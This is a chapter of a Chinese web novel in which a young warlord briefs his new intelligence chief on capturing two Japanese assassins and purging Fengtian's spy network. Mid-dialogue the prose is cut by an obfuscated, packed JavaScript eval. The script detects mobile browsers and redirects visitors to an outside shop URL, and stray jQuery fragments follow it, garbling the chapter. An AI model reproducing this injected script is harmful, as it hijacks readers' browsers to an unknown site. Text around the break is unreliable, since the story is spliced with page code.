第88章 限时任务(礼物加更)

作品:《通电全国,我东北王拒绝入关

    同日午后,帅府书房


    窗外的知了叫得震天响,书房里却门窗紧闭,拉着一层薄纱帘,光线柔和。张瑾之坐在书桌后,已换下病号服,穿着一件简单的白色衬衫,左肩处的绷带在布料下微微隆起。他脸色比前几日好了许多,但眉宇间依旧带着一丝失血后的淡淡苍白,以及更深沉的、属于统帅的冷峻。


    李可龙坐在他对面的客椅上,姿态依旧挺拔从容,但面对这位年轻的东北王,他收敛了在会议室里的那份温和儒雅,目光变得更加沉静专注,如同最精密的仪器,等待着指令输入。


    “李先生,坐。”张瑾之指了指椅子,自己端起茶杯抿了一口,“改组方案,荣参谋长跟我说了,很好。思路清晰,切中要害。专业的事,交给专业的人,分工才能高效。‘鸮’擅长防守和内务,你擅长攻伐和破局,相得益彰。”


    “少帅过誉。可龙必竭尽全力,不负重托。”李可龙欠身道。


    “我知道你心中有疑惑,”张瑾之放下茶杯,目光平静地看着李可龙,“疑惑我为何选择一个毫无隐蔽战线经验的人,来执掌对外情报和行动的利器。甚至可能疑惑,我为何如此信任你,将这等关乎东北安危的隐秘力量,交到你手中。”


    李可龙没有否认,只是微微颔首:“少帅慧眼如炬。可龙确有此惑。京师检察厅与沪上律所的经历,与真正的秘密战争相比,如同儿戏。可龙惶恐,恐有负少帅期许。”


    “儿戏?”张瑾之笑了笑,那笑容里有些难以言喻的意味,“李先生,你经手的那些案子,帮会倾轧,政商勾结,**,栽赃陷害……其中的人心鬼蜮,利益纠葛,阴谋算计,与这暗处的战争相比,真的就是‘儿戏’吗?只不过,一方披着法律的外衣,在台面上争斗;另一方撕掉所有伪装,在阴影里厮杀。其内核,都是人与人的斗争,是欲望、恐惧、贪婪、算计的较量。”


    他站起身,走到窗前,背对着李可龙,声音低沉而清晰:“我看中的,不是你杀过多少人,跟过多少梢,破过多少密码。那些技术,可以练,可以学。我看中的,是你那份在错综复杂的案件卷宗里,总能抓住最关键线头的能力;是你面对狡诈凶徒和诡辩律师时,那种抽丝剥茧、构建逻辑铁网的冷静;更是你那份……洞悉人性之恶,却不被其吞噬,反而能利用其规律的定力。秘密战争,技术固然重要,但最终决定胜负的,是对人心的把握,是对局势的判断,是超乎寻常的耐心和冷酷的逻辑。这些,你在法庭上,在案卷里,已经锤炼得足够多了。”


    李可龙静静地听着,镜片后的目光微微闪动。少帅的这番话,深入骨髓,直指本质。他忽然觉得,这位年轻统帅对自己能力的认知和定位,恐怕比自己还要清晰深刻。


    张瑾之转过身,目光锐利如电:“更重要的是,我需要一个新人,一个没有沾染旧有情报系统**气、没有固有思维定式、能够跳出‘特务对特务’传统框架的人,来给夜枭注入新的血液和思想。日本人那套,我们学了,用了,但永远跟在后面学,只能被动应对。我要的夜枭,不仅要能防,更要能攻!不仅要能破获他们的网络,更要能主动设局,引他们入彀,打击他们的中枢,扰乱他们的部署!这需要想象力,需要打破常规的勇气,也需要……一点‘不按常理出牌’的疯狂。我觉得,你有这个潜质。”


    李可龙感到一股沉重的压力,但同时也有一股热流在胸中涌动。这是知遇之恩,更是前所未有的挑战和信任。


    “少帅……可龙明白了。”他深吸一口气,沉声道,“定当肝脑涂地,为少帅,为东北,打造一把真正能刺穿敌寇心脏的暗夜利刃!”


    “另外我还要你遵守以下三点:


    1.不搞金钱收买


    2.不搞美色引诱


    3.不搞暗杀、恐怖活动


    能做到么?”张瑾之凝视着李克龙


    “能做到,没有任何问题。”李克龙说道。


    “好!”张瑾之走回书桌后,拿出一份薄薄的文件夹,推到李可龙面前,“第一个任务,也是对新夜枭的第一次实战检验。期限:两个月。”


    李可龙双手接过,打开。里面是两张照片,照片有些模糊,显然是远距离偷拍,但人物的轮廓和某些特征依稀可辨。正是“蝮蛇”和“蜈蚣”的画像。下面附有简单的文字说明,包括已知的体貌特征、习惯、可能擅长的技能,以及最后消失的区域。


    “这两个人,小西关刺杀我的直接执行者,关东军参谋部的职业**。我要活的。”张瑾之的语气平淡,却带着铁一般的寒意,“死的,价值就大打折扣。我要用他们,在国际上,再一次撕下日本人‘文明’的伪装。”


    “另外,”张瑾之敲了敲桌面,“奉天城内,经上次清扫,日特网络遭受重创,但绝未根除。像‘蝮蛇’、‘蜈蚣’这样的漏网之鱼,或许还有。我要你在两个月内,以抓捕此二人为契机,将奉天城内残留的、新渗透的日本特务及与其勾结的汉奸,彻底清理一遍。我不要求滴水不漏,那不可能。但我要奉天城,至少在明面上,变成日本特务的禁区,让他们在这里寸步难行,闻风丧胆!”


    两个月,抓捕两个最顶尖的、已如惊弓之鸟的职业**,并顺藤摸瓜清理整个奉天日特网络。这个任务,堪称苛刻,几乎是不可能完成的任务。尤其是在夜枭刚刚改组,百废待兴的时候。


    但李可龙脸上没有露出丝毫为难或惊诧。他仔细地看着那两张照片,手指无意识地在照片边缘轻轻摩挲,镜片后的眼睛微微眯起,陷入一种极度专注的思考状态。片刻,他抬起头,目光平静地迎向张瑾之:


    “少帅,目标清晰,时限明确。可龙接下。不过,有几个不情之请,需少帅支持。”


    “讲。”


    “第一,绝对授权。在任务期间,夜枭在奉天城内的一切必要行动,包括但不限于搜查、监听、密捕、审讯,乃至有限度的武力清除,需有临机专断之权,事后报备。程序从简,效率优先。”


    “可。我会给荣参谋长和奉天警察厅打招呼。夜枭行动,特殊时期,特殊对待


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186753|196594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。但记住,不得滥杀,不得扰民,不得留下无可辩驳的把柄。我要的是清除毒瘤,不是制造恐慌。”


    “明白。第二,资源倾斜。需要最新式的通讯设备、**材、微型照相机、交通工具,以及一笔不受常规审计限制的特别行动经费。用于收买线人、布置眼线、购置必要装备。”


    “去找米春霖(后勤负责人),设备从美国新到的那批货里优先调拨。经费,我让谭海给你开特别账户,额度……先按五千大洋,不够再追加。但每一笔开支,必须有据可查,任务结束后,我要看详细账目。”


    “是。第三,信息共享。长白暗卫在内部监察中,若发现与日特或此二人可能相关的线索,无论大小,需第一时间与夜枭共享。反之,夜枭在对外行动中,若涉及内部人员,也会及时通报暗卫。”


    “这是自然。‘鸮’那边,我会交代。你们虽分工,但目标一致,信息必须畅通。”


    “第四,”李可龙推了推眼镜,语气变得更加冷静,甚至带着一丝解剖般的漠然,“我需要调阅奉天城过去半年内,所有非正常死亡、失踪、意外伤害、以及涉及日本人或亲日人员的治安案件卷宗,无论大小,无论是否结案。特别是那些看似意外、**或无头公案。另外,近三个月内,奉天城内所有房产租赁、买卖的异常记录,旅馆、客栈的住宿登记异常,大型货物、药材、特殊器械的进出记录,也需调阅。”


    张瑾之眼中闪过一丝激赏。这才是李可龙的真正价值所在!他不急于去大街上搜捕,而是先从最基础、最繁杂的档案和信息入手,试图从海量的、看似无关的日常碎片中,寻找异常的模式和可能的线索。这是一种典型的、高明的刑侦和检察官思维。**要隐藏,要活动,就必然会在日常生活中留下痕迹,无论他们多么专业。这些痕迹,可能就隐藏在这些看似寻常的卷宗和数据里。


    “可以。我会让警察厅、**、市政档案处全力配合你。所有卷宗资料,任你调阅。但必须严格保密。”


    “多谢少帅。”李可龙将文件夹合上,站起身,脸上那教书先生般的温和神色早已褪去,只剩下全然的冷静与专注,“若无其他吩咐,可龙这就去布置。时间紧迫,不敢耽搁。”


    “去吧。”张瑾之点点头,“记住,我要活的‘蝮蛇’和‘蜈蚣’。也要一个干净的奉天。”


    “定不辱命。”


    李可龙微微躬身,转身离去。他的步伐依旧沉稳,背影挺直,但那件普通的藏青长衫下,仿佛已开始凝聚一股无形的、锐利如刀的气息。


    张瑾之看着房门轻轻关上,重新坐回椅中,手指轻轻敲击着桌面。


    两个月……


    李可龙,你这把新铸的刀,是会在第一次劈砍中崩口,还是会绽放出令人惊艳的寒光呢?


    他望向窗外刺眼的阳光,眼中闪烁着冷冽的期待。


    奉天的暗夜,即将迎来一场由一位“教书先生”主导的、刮骨疗毒般的清洗。而猎物与猎手的身份,或许从这一刻起,已经开始悄然转换。